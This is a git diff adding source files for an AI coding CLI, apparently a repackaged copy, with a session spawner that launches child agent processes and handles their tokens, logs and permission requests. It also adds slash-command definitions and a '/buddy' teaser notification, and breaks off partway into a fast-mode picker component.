+/** Build a short preview of tool input for debug logging. */
+function inputPreview(input: Record<string, unknown>): string {
+  const parts: string[] = []
+  for (const [key, val] of Object.entries(input)) {
+    if (typeof val === 'string') {
+      parts.push(`${key}="${val.slice(0, 100)}"`)
+    }
+    if (parts.length >= 3) break
+  }
+  return parts.join(' ')
+}
+
+export function createSessionSpawner(deps: SessionSpawnerDeps): SessionSpawner {
+  return {
+    spawn(opts: SessionSpawnOpts, dir: string): SessionHandle {
+      // Debug file resolution:
+      // 1. If deps.debugFile is provided, use it with session ID suffix for uniqueness
+      // 2. If verbose or ant build, auto-generate a temp file path
+      // 3. Otherwise, no debug file
+      const safeId = safeFilenameId(opts.sessionId)
+      let debugFile: string | undefined
+      if (deps.debugFile) {
+        const ext = deps.debugFile.lastIndexOf('.')
+        if (ext > 0) {
+          debugFile = `${deps.debugFile.slice(0, ext)}-${safeId}${deps.debugFile.slice(ext)}`
+        } else {
+          debugFile = `${deps.debugFile}-${safeId}`
+        }
+      } else if (deps.verbose || process.env.USER_TYPE === 'ant') {
+        debugFile = join(tmpdir(), 'claude', `bridge-session-${safeId}.log`)
+      }
+
+      // Transcript file: write raw NDJSON lines for post-hoc analysis.
+      // Placed alongside the debug file when one is configured.
+      let transcriptStream: WriteStream | null = null
+      let transcriptPath: string | undefined
+      if (deps.debugFile) {
+        transcriptPath = join(
+          dirname(deps.debugFile),
+          `bridge-transcript-${safeId}.jsonl`,
+        )
+        transcriptStream = createWriteStream(transcriptPath, { flags: 'a' })
+        transcriptStream.on('error', err => {
+          deps.onDebug(
+            `[bridge:session] Transcript write error: ${err.message}`,
+          )
+          transcriptStream = null
+        })
+        deps.onDebug(`[bridge:session] Transcript log: ${transcriptPath}`)
+      }
+
+      const args = [
+        ...deps.scriptArgs,
+        '--print',
+        '--sdk-url',
+        opts.sdkUrl,
+        '--session-id',
+        opts.sessionId,
+        '--input-format',
+        'stream-json',
+        '--output-format',
+        'stream-json',
+        '--replay-user-messages',
+        ...(deps.verbose ? ['--verbose'] : []),
+        ...(debugFile ? ['--debug-file', debugFile] : []),
+        ...(deps.permissionMode
+          ? ['--permission-mode', deps.permissionMode]
+          : []),
+      ]
+
+      const env: NodeJS.ProcessEnv = {
+        ...deps.env,
+        // Strip the bridge's OAuth token so the child CC process uses
+        // the session access token for inference instead.
+        CLAUDE_CODE_OAUTH_TOKEN: undefined,
+        CLAUDE_CODE_ENVIRONMENT_KIND: 'bridge',
+        ...(deps.sandbox && { CLAUDE_CODE_FORCE_SANDBOX: '1' }),
+        CLAUDE_CODE_SESSION_ACCESS_TOKEN: opts.accessToken,
+        // v1: HybridTransport (WS reads + POST writes) to Session-Ingress.
+        // Harmless in v2 mode — transportUtils checks CLAUDE_CODE_USE_CCR_V2 first.
+        CLAUDE_CODE_POST_FOR_SESSION_INGRESS_V2: '1',
+        // v2: SSETransport + CCRClient to CCR's /v1/code/sessions/* endpoints.
+        // Same env vars environment-manager sets in the container path.
+        ...(opts.useCcrV2 && {
+          CLAUDE_CODE_USE_CCR_V2: '1',
+          CLAUDE_CODE_WORKER_EPOCH: String(opts.workerEpoch),
+        }),
+      }
+
+      deps.onDebug(
+        `[bridge:session] Spawning sessionId=${opts.sessionId} sdkUrl=${opts.sdkUrl} accessToken=${opts.accessToken ? 'present' : 'MISSING'}`,
+      )
+      deps.onDebug(`[bridge:session] Child args: ${args.join(' ')}`)
+      if (debugFile) {
+        deps.onDebug(`[bridge:session] Debug log: ${debugFile}`)
+      }
+
+      // Pipe all three streams: stdin for control, stdout for NDJSON parsing,
+      // stderr for error capture and diagnostics.
+      const child: ChildProcess = spawn(deps.execPath, args, {
+        cwd: dir,
+        stdio: ['pipe', 'pipe', 'pipe'],
+        env,
+        windowsHide: true,
+      })
+
+      deps.onDebug(
+        `[bridge:session] sessionId=${opts.sessionId} pid=${child.pid}`,
+      )
+
+      const activities: SessionActivity[] = []
+      let currentActivity: SessionActivity | null = null
+      const lastStderr: string[] = []
+      let sigkillSent = false
+      let firstUserMessageSeen = false
+
+      // Buffer stderr for error diagnostics
+      if (child.stderr) {
+        const stderrRl = createInterface({ input: child.stderr })
+        stderrRl.on('line', line => {
+          // Forward stderr to bridge's stderr in verbose mode
+          if (deps.verbose) {
+            process.stderr.write(line + '\n')
+          }
+          // Ring buffer of last N lines
+          if (lastStderr.length >= MAX_STDERR_LINES) {
+            lastStderr.shift()
+          }
+          lastStderr.push(line)
+        })
+      }
+
+      // Parse NDJSON from child stdout
+      if (child.stdout) {
+        const rl = createInterface({ input: child.stdout })
+        rl.on('line', line => {
+          // Write raw NDJSON to transcript file
+          if (transcriptStream) {
+            transcriptStream.write(line + '\n')
+          }
+
+          // Log all messages flowing from the child CLI to the bridge
+          deps.onDebug(
+            `[bridge:ws] sessionId=${opts.sessionId} <<< ${debugTruncate(line)}`,
+          )
+
+          // In verbose mode, forward raw output to stderr
+          if (deps.verbose) {
+            process.stderr.write(line + '\n')
+          }
+
+          const extracted = extractActivities(
+            line,
+            opts.sessionId,
+            deps.onDebug,
+          )
+          for (const activity of extracted) {
+            // Maintain ring buffer
+            if (activities.length >= MAX_ACTIVITIES) {
+              activities.shift()
+            }
+            activities.push(activity)
+            currentActivity = activity
+
+            deps.onActivity?.(opts.sessionId, activity)
+          }
+
+          // Detect control_request and replayed user messages.
+          // extractActivities parses the same line but swallows parse errors
+          // and skips 'user' type — re-parse here is cheap (NDJSON lines are
+          // small) and keeps each path self-contained.
+          {
+            let parsed: unknown
+            try {
+              parsed = jsonParse(line)
+            } catch {
+              // Non-JSON line, skip detection
+            }
+            if (parsed && typeof parsed === 'object') {
+              const msg = parsed as Record<string, unknown>
+
+              if (msg.type === 'control_request') {
+                const request = msg.request as
+                  | Record<string, unknown>
+                  | undefined
+                if (
+                  request?.subtype === 'can_use_tool' &&
+                  deps.onPermissionRequest
+                ) {
+                  deps.onPermissionRequest(
+                    opts.sessionId,
+                    parsed as PermissionRequest,
+                    opts.accessToken,
+                  )
+                }
+                // interrupt is turn-level; the child handles it internally (print.ts)
+              } else if (
+                msg.type === 'user' &&
+                !firstUserMessageSeen &&
+                opts.onFirstUserMessage
+              ) {
+                const text = extractUserMessageText(msg)
+                if (text) {
+                  firstUserMessageSeen = true
+                  opts.onFirstUserMessage(text)
+                }
+              }
+            }
+          }
+        })
+      }
+
+      const done = new Promise<SessionDoneStatus>(resolve => {
+        child.on('close', (code, signal) => {
+          // Close transcript stream on exit
+          if (transcriptStream) {
+            transcriptStream.end()
+            transcriptStream = null
+          }
+
+          if (signal === 'SIGTERM' || signal === 'SIGINT') {
+            deps.onDebug(
+              `[bridge:session] sessionId=${opts.sessionId} interrupted signal=${signal} pid=${child.pid}`,
+            )
+            resolve('interrupted')
+          } else if (code === 0) {
+            deps.onDebug(
+              `[bridge:session] sessionId=${opts.sessionId} completed exit_code=0 pid=${child.pid}`,
+            )
+            resolve('completed')
+          } else {
+            deps.onDebug(
+              `[bridge:session] sessionId=${opts.sessionId} failed exit_code=${code} pid=${child.pid}`,
+            )
+            resolve('failed')
+          }
+        })
+
+        child.on('error', err => {
+          deps.onDebug(
+            `[bridge:session] sessionId=${opts.sessionId} spawn error: ${err.message}`,
+          )
+          resolve('failed')
+        })
+      })
+
+      const handle: SessionHandle = {
+        sessionId: opts.sessionId,
+        done,
+        activities,
+        accessToken: opts.accessToken,
+        lastStderr,
+        get currentActivity(): SessionActivity | null {
+          return currentActivity
+        },
+        kill(): void {
+          if (!child.killed) {
+            deps.onDebug(
+              `[bridge:session] Sending SIGTERM to sessionId=${opts.sessionId} pid=${child.pid}`,
+            )
+            // On Windows, child.kill('SIGTERM') throws; use default signal.
+            if (process.platform === 'win32') {
+              child.kill()
+            } else {
+              child.kill('SIGTERM')
+            }
+          }
+        },
+        forceKill(): void {
+          // Use separate flag because child.killed is set when kill() is called,
+          // not when the process exits. We need to send SIGKILL even after SIGTERM.
+          if (!sigkillSent && child.pid) {
+            sigkillSent = true
+            deps.onDebug(
+              `[bridge:session] Sending SIGKILL to sessionId=${opts.sessionId} pid=${child.pid}`,
+            )
+            if (process.platform === 'win32') {
+              child.kill()
+            } else {
+              child.kill('SIGKILL')
+            }
+          }
+        },
+        writeStdin(data: string): void {
+          if (child.stdin && !child.stdin.destroyed) {
+            deps.onDebug(
+              `[bridge:ws] sessionId=${opts.sessionId} >>> ${debugTruncate(data)}`,
+            )
+            child.stdin.write(data)
+          }
+        },
+        updateAccessToken(token: string): void {
+          handle.accessToken = token
+          // Send the fresh token to the child process via stdin. The child's
+          // StructuredIO handles update_environment_variables messages by
+          // setting process.env directly, so getSessionIngressAuthToken()
+          // picks up the new token on the next refreshHeaders call.
+          handle.writeStdin(
+            jsonStringify({
+              type: 'update_environment_variables',
+              variables: { CLAUDE_CODE_SESSION_ACCESS_TOKEN: token },
+            }) + '\n',
+          )
+          deps.onDebug(
+            `[bridge:session] Sent token refresh via stdin for sessionId=${opts.sessionId}`,
+          )
+        },
+      }
+
+      return handle
+    },
+  }
+}
+
+export { extractActivities as _extractActivitiesForTesting }
diff --git a/_all-in-one-upload/cc-haha/src/buddy/useBuddyNotification.tsx b/_all-in-one-upload/cc-haha/src/buddy/useBuddyNotification.tsx
new file mode 100644
index 0000000..fddcb70
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/buddy/useBuddyNotification.tsx
@@ -0,0 +1,93 @@
+import { c as _c } from "react/compiler-runtime";
+import React, { useEffect } from 'react';
+import { useNotifications } from '../context/notifications.js';
+import { Text } from '../ink.js';
+import { getGlobalConfig } from '../utils/config.js';
+import { getRainbowColor } from '../utils/thinking.js';
+
+// Local date, not UTC — 24h rolling wave across timezones. Sustained Twitter
+// buzz instead of a single UTC-midnight spike, gentler on soul-gen load.
+// Teaser window: April 1-7, 2026 only. Command stays live forever after.
+export function isBuddyTeaserWindow(): boolean {
+  if ("external" === 'ant') return true;
+  const d = new Date();
+  return d.getFullYear() === 2026 && d.getMonth() === 3 && d.getDate() <= 7;
+}
+export function isBuddyLive(): boolean {
+  if ("external" === 'ant') return true;
+  const d = new Date();
+  return d.getFullYear() > 2026 || d.getFullYear() === 2026 && d.getMonth() >= 3;
+}
+function RainbowText(t0) {
+  const $ = _c(2);
+  const {
+    text
+  } = t0;
+  let t1;
+  if ($[0] !== text) {
+    t1 = <>{[...text].map(_temp)}</>;
+    $[0] = text;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+// Rainbow /buddy teaser shown on startup when no companion hatched yet.
+// Idle presence and reactions are handled by CompanionSprite directly.
+function _temp(ch, i) {
+  return <Text key={i} color={getRainbowColor(i)}>{ch}</Text>;
+}
+export function useBuddyNotification() {
+  const $ = _c(4);
+  const {
+    addNotification,
+    removeNotification
+  } = useNotifications();
+  let t0;
+  let t1;
+  if ($[0] !== addNotification || $[1] !== removeNotification) {
+    t0 = () => {
+      const config = getGlobalConfig();
+      if (config.companion || !isBuddyTeaserWindow()) {
+        return;
+      }
+      addNotification({
+        key: "buddy-teaser",
+        jsx: <RainbowText text="/buddy" />,
+        priority: "immediate",
+        timeoutMs: 15000
+      });
+      return () => removeNotification("buddy-teaser");
+    };
+    t1 = [addNotification, removeNotification];
+    $[0] = addNotification;
+    $[1] = removeNotification;
+    $[2] = t0;
+    $[3] = t1;
+  } else {
+    t0 = $[2];
+    t1 = $[3];
+  }
+  useEffect(t0, t1);
+}
+export function findBuddyTriggerPositions(text: string): Array<{
+  start: number;
+  end: number;
+}> {
+  const triggers: Array<{
+    start: number;
+    end: number;
+  }> = [];
+  const re = /\/buddy\b/g;
+  let m: RegExpExecArray | null;
+  while ((m = re.exec(text)) !== null) {
+    triggers.push({
+      start: m.index,
+      end: m.index + m[0].length
+    });
+  }
+  return triggers;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJmZWF0dXJlIiwiUmVhY3QiLCJ1c2VFZmZlY3QiLCJ1c2VOb3RpZmljYXRpb25zIiwiVGV4dCIsImdldEdsb2JhbENvbmZpZyIsImdldFJhaW5ib3dDb2xvciIsImlzQnVkZHlUZWFzZXJXaW5kb3ciLCJkIiwiRGF0ZSIsImdldEZ1bGxZZWFyIiwiZ2V0TW9udGgiLCJnZXREYXRlIiwiaXNCdWRkeUxpdmUiLCJSYWluYm93VGV4dCIsInQwIiwiJCIsIl9jIiwidGV4dCIsInQxIiwibWFwIiwiX3RlbXAiLCJjaCIsImkiLCJ1c2VCdWRkeU5vdGlmaWNhdGlvbiIsImFkZE5vdGlmaWNhdGlvbiIsInJlbW92ZU5vdGlmaWNhdGlvbiIsImNvbmZpZyIsImNvbXBhbmlvbiIsImtleSIsImpzeCIsInByaW9yaXR5IiwidGltZW91dE1zIiwiZmluZEJ1ZGR5VHJpZ2dlclBvc2l0aW9ucyIsIkFycmF5Iiwic3RhcnQiLCJlbmQiLCJ0cmlnZ2VycyIsInJlIiwibSIsIlJlZ0V4cEV4ZWNBcnJheSIsImV4ZWMiLCJwdXNoIiwiaW5kZXgiLCJsZW5ndGgiXSwic291cmNlcyI6WyJ1c2VCdWRkeU5vdGlmaWNhdGlvbi50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IHsgZmVhdHVyZSB9IGZyb20gJ2J1bjpidW5kbGUnXG5pbXBvcnQgUmVhY3QsIHsgdXNlRWZmZWN0IH0gZnJvbSAncmVhY3QnXG5pbXBvcnQgeyB1c2VOb3RpZmljYXRpb25zIH0gZnJvbSAnLi4vY29udGV4dC9ub3RpZmljYXRpb25zLmpzJ1xuaW1wb3J0IHsgVGV4dCB9IGZyb20gJy4uL2luay5qcydcbmltcG9ydCB7IGdldEdsb2JhbENvbmZpZyB9IGZyb20gJy4uL3V0aWxzL2NvbmZpZy5qcydcbmltcG9ydCB7IGdldFJhaW5ib3dDb2xvciB9IGZyb20gJy4uL3V0aWxzL3RoaW5raW5nLmpzJ1xuXG4vLyBMb2NhbCBkYXRlLCBub3QgVVRDIOKAlCAyNGggcm9sbGluZyB3YXZlIGFjcm9zcyB0aW1lem9uZXMuIFN1c3RhaW5lZCBUd2l0dGVyXG4vLyBidXp6IGluc3RlYWQgb2YgYSBzaW5nbGUgVVRDLW1pZG5pZ2h0IHNwaWtlLCBnZW50bGVyIG9uIHNvdWwtZ2VuIGxvYWQuXG4vLyBUZWFzZXIgd2luZG93OiBBcHJpbCAxLTcsIDIwMjYgb25seS4gQ29tbWFuZCBzdGF5cyBsaXZlIGZvcmV2ZXIgYWZ0ZXIuXG5leHBvcnQgZnVuY3Rpb24gaXNCdWRkeVRlYXNlcldpbmRvdygpOiBib29sZWFuIHtcbiAgaWYgKFwiZXh0ZXJuYWxcIiA9PT0gJ2FudCcpIHJldHVybiB0cnVlXG4gIGNvbnN0IGQgPSBuZXcgRGF0ZSgpXG4gIHJldHVybiBkLmdldEZ1bGxZZWFyKCkgPT09IDIwMjYgJiYgZC5nZXRNb250aCgpID09PSAzICYmIGQuZ2V0RGF0ZSgpIDw9IDdcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIGlzQnVkZHlMaXZlKCk6IGJvb2xlYW4ge1xuICBpZiAoXCJleHRlcm5hbFwiID09PSAnYW50JykgcmV0dXJuIHRydWVcbiAgY29uc3QgZCA9IG5ldyBEYXRlKClcbiAgcmV0dXJuIChcbiAgICBkLmdldEZ1bGxZZWFyKCkgPiAyMDI2IHx8IChkLmdldEZ1bGxZZWFyKCkgPT09IDIwMjYgJiYgZC5nZXRNb250aCgpID49IDMpXG4gIClcbn1cblxuZnVuY3Rpb24gUmFpbmJvd1RleHQoeyB0ZXh0IH06IHsgdGV4dDogc3RyaW5nIH0pOiBSZWFjdC5SZWFjdE5vZGUge1xuICByZXR1cm4gKFxuICAgIDw+XG4gICAgICB7Wy4uLnRleHRdLm1hcCgoY2gsIGkpID0+IChcbiAgICAgICAgPFRleHQga2V5PXtpfSBjb2xvcj17Z2V0UmFpbmJvd0NvbG9yKGkpfT5cbiAgICAgICAgICB7Y2h9XG4gICAgICAgIDwvVGV4dD5cbiAgICAgICkpfVxuICAgIDwvPlxuICApXG59XG5cbi8vIFJhaW5ib3cgL2J1ZGR5IHRlYXNlciBzaG93biBvbiBzdGFydHVwIHdoZW4gbm8gY29tcGFuaW9uIGhhdGNoZWQgeWV0LlxuLy8gSWRsZSBwcmVzZW5jZSBhbmQgcmVhY3Rpb25zIGFyZSBoYW5kbGVkIGJ5IENvbXBhbmlvblNwcml0ZSBkaXJlY3RseS5cbmV4cG9ydCBmdW5jdGlvbiB1c2VCdWRkeU5vdGlmaWNhdGlvbigpOiB2b2lkIHtcbiAgY29uc3QgeyBhZGROb3RpZmljYXRpb24sIHJlbW92ZU5vdGlmaWNhdGlvbiB9ID0gdXNlTm90aWZpY2F0aW9ucygpXG5cbiAgdXNlRWZmZWN0KCgpID0+IHtcbiAgICBpZiAoIWZlYXR1cmUoJ0JVRERZJykpIHJldHVyblxuICAgIGNvbnN0IGNvbmZpZyA9IGdldEdsb2JhbENvbmZpZygpXG4gICAgaWYgKGNvbmZpZy5jb21wYW5pb24gfHwgIWlzQnVkZHlUZWFzZXJXaW5kb3coKSkgcmV0dXJuXG4gICAgYWRkTm90aWZpY2F0aW9uKHtcbiAgICAgIGtleTogJ2J1ZGR5LXRlYXNlcicsXG4gICAgICBqc3g6IDxSYWluYm93VGV4dCB0ZXh0PVwiL2J1ZGR5XCIgLz4sXG4gICAgICBwcmlvcml0eTogJ2ltbWVkaWF0ZScsXG4gICAgICB0aW1lb3V0TXM6IDE1XzAwMCxcbiAgICB9KVxuICAgIHJldHVybiAoKSA9PiByZW1vdmVOb3RpZmljYXRpb24oJ2J1ZGR5LXRlYXNlcicpXG4gIH0sIFthZGROb3RpZmljYXRpb24sIHJlbW92ZU5vdGlmaWNhdGlvbl0pXG59XG5cbmV4cG9ydCBmdW5jdGlvbiBmaW5kQnVkZHlUcmlnZ2VyUG9zaXRpb25zKFxuICB0ZXh0OiBzdHJpbmcsXG4pOiBBcnJheTx7IHN0YXJ0OiBudW1iZXI7IGVuZDogbnVtYmVyIH0+IHtcbiAgaWYgKCFmZWF0dXJlKCdCVUREWScpKSByZXR1cm4gW11cbiAgY29uc3QgdHJpZ2dlcnM6IEFycmF5PHsgc3RhcnQ6IG51bWJlcjsgZW5kOiBudW1iZXIgfT4gPSBbXVxuICBjb25zdCByZSA9IC9cXC9idWRkeVxcYi9nXG4gIGxldCBtOiBSZWdFeHBFeGVjQXJyYXkgfCBudWxsXG4gIHdoaWxlICgobSA9IHJlLmV4ZWModGV4dCkpICE9PSBudWxsKSB7XG4gICAgdHJpZ2dlcnMucHVzaCh7IHN0YXJ0OiBtLmluZGV4LCBlbmQ6IG0uaW5kZXggKyBtWzBdLmxlbmd0aCB9KVxuICB9XG4gIHJldHVybiB0cmlnZ2Vyc1xufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsU0FBU0EsT0FBTyxRQUFRLFlBQVk7QUFDcEMsT0FBT0MsS0FBSyxJQUFJQyxTQUFTLFFBQVEsT0FBTztBQUN4QyxTQUFTQyxnQkFBZ0IsUUFBUSw2QkFBNkI7QUFDOUQsU0FBU0MsSUFBSSxRQUFRLFdBQVc7QUFDaEMsU0FBU0MsZUFBZSxRQUFRLG9CQUFvQjtBQUNwRCxTQUFTQyxlQUFlLFFBQVEsc0JBQXNCOztBQUV0RDtBQUNBO0FBQ0E7QUFDQSxPQUFPLFNBQVNDLG1CQUFtQkEsQ0FBQSxDQUFFLEVBQUUsT0FBTyxDQUFDO0VBQzdDLElBQUksVUFBVSxLQUFLLEtBQUssRUFBRSxPQUFPLElBQUk7RUFDckMsTUFBTUMsQ0FBQyxHQUFHLElBQUlDLElBQUksQ0FBQyxDQUFDO0VBQ3BCLE9BQU9ELENBQUMsQ0FBQ0UsV0FBVyxDQUFDLENBQUMsS0FBSyxJQUFJLElBQUlGLENBQUMsQ0FBQ0csUUFBUSxDQUFDLENBQUMsS0FBSyxDQUFDLElBQUlILENBQUMsQ0FBQ0ksT0FBTyxDQUFDLENBQUMsSUFBSSxDQUFDO0FBQzNFO0FBRUEsT0FBTyxTQUFTQyxXQUFXQSxDQUFBLENBQUUsRUFBRSxPQUFPLENBQUM7RUFDckMsSUFBSSxVQUFVLEtBQUssS0FBSyxFQUFFLE9BQU8sSUFBSTtFQUNyQyxNQUFNTCxDQUFDLEdBQUcsSUFBSUMsSUFBSSxDQUFDLENBQUM7RUFDcEIsT0FDRUQsQ0FBQyxDQUFDRSxXQUFXLENBQUMsQ0FBQyxHQUFHLElBQUksSUFBS0YsQ0FBQyxDQUFDRSxXQUFXLENBQUMsQ0FBQyxLQUFLLElBQUksSUFBSUYsQ0FBQyxDQUFDRyxRQUFRLENBQUMsQ0FBQyxJQUFJLENBQUU7QUFFN0U7QUFFQSxTQUFBRyxZQUFBQyxFQUFBO0VBQUEsTUFBQUMsQ0FBQSxH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
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/commands/break-cache/index.js b/_all-in-one-upload/cc-haha/src/commands/break-cache/index.js
new file mode 100644
index 0000000..e1a619d
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/commands/break-cache/index.js
@@ -0,0 +1 @@
+export default { isEnabled: () => false, isHidden: true, name: 'stub' };
diff --git a/_all-in-one-upload/cc-haha/src/commands/compact/index.ts b/_all-in-one-upload/cc-haha/src/commands/compact/index.ts
new file mode 100644
index 0000000..6db38d4
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/commands/compact/index.ts
@@ -0,0 +1,15 @@
+import type { Command } from '../../commands.js'
+import { isEnvTruthy } from '../../utils/envUtils.js'
+
+const compact = {
+  type: 'local',
+  name: 'compact',
+  description:
+    'Clear conversation history but keep a summary in context. Optional: /compact [instructions for summarization]',
+  isEnabled: () => !isEnvTruthy(process.env.DISABLE_COMPACT),
+  supportsNonInteractive: true,
+  argumentHint: '<optional custom summarization instructions>',
+  load: () => import('./compact.js'),
+} satisfies Command
+
+export default compact
diff --git a/_all-in-one-upload/cc-haha/src/commands/diff/index.ts b/_all-in-one-upload/cc-haha/src/commands/diff/index.ts
new file mode 100644
index 0000000..a15b819
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/commands/diff/index.ts
@@ -0,0 +1,8 @@
+import type { Command } from '../../commands.js'
+
+export default {
+  type: 'local-jsx',
+  name: 'diff',
+  description: 'View uncommitted changes and per-turn diffs',
+  load: () => import('./diff.js'),
+} satisfies Command
diff --git a/_all-in-one-upload/cc-haha/src/commands/fast/fast.tsx b/_all-in-one-upload/cc-haha/src/commands/fast/fast.tsx
new file mode 100644
index 0000000..398c3c3
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/commands/fast/fast.tsx
@@ -0,0 +1,269 @@
+import { c as _c } from "react/compiler-runtime";
+import * as React from 'react';
+import { useState } from 'react';
+import type { CommandResultDisplay, LocalJSXCommandContext } from '../../commands.js';
+import { Dialog } from '../../components/design-system/Dialog.js';
+import { FastIcon, getFastIconString } from '../../components/FastIcon.js';
+import { Box, Link, Text } from '../../ink.js';
+import { useKeybindings } from '../../keybindings/useKeybinding.js';
+import { type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS, logEvent } from '../../services/analytics/index.js';
+import { type AppState, useAppState, useSetAppState } from '../../state/AppState.js';
+import type { LocalJSXCommandOnDone } from '../../types/command.js';
+import { clearFastModeCooldown, FAST_MODE_MODEL_DISPLAY, getFastModeModel, getFastModeRuntimeState, getFastModeUnavailableReason, isFastModeEnabled, isFastModeSupportedByModel, prefetchFastModeStatus } from '../../utils/fastMode.js';
+import { formatDuration } from '../../utils/format.js';
+import { formatModelPricing, getOpus46CostTier } from '../../utils/modelCost.js';
+import { updateSettingsForSource } from '../../utils/settings/settings.js';
+function applyFastMode(enable: boolean, setAppState: (f: (prev: AppState) => AppState) => void): void {
+  clearFastModeCooldown();
+  updateSettingsForSource('userSettings', {
+    fastMode: enable ? true : undefined
+  });
+  if (enable) {
+    setAppState(prev => {
+      // Only switch model if current model doesn't support fast mode
+      const needsModelSwitch = !isFastModeSupportedByModel(prev.mainLoopModel);
+      return {
+        ...prev,
+        ...(needsModelSwitch ? {
+          mainLoopModel: getFastModeModel(),
+          mainLoopModelForSession: null
+        } : {}),
+        fastMode: true
+      };
+    });
+  } else {
+    setAppState(prev => ({
+      ...prev,
+      fastMode: false
+    }));
+  }
+}
+export function FastModePicker(t0) {
+  const $ = _c(30);
+  const {
+    onDone,
+    unavailableReason
+  } = t0;
+  const model = useAppState(_temp);
+  const initialFastMode = useAppState(_temp2);
+  const setAppState = useSetAppState();
+  const [enableFastMode, setEnableFastMode] = useState(initialFastMode ?? false);
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = getFastModeRuntimeState();
+    $[0] = t1;
+  } else {
+    t1 = $[0];
+  }
+  const runtimeState = t1;
+  const isCooldown = runtimeState.status === "cooldown";
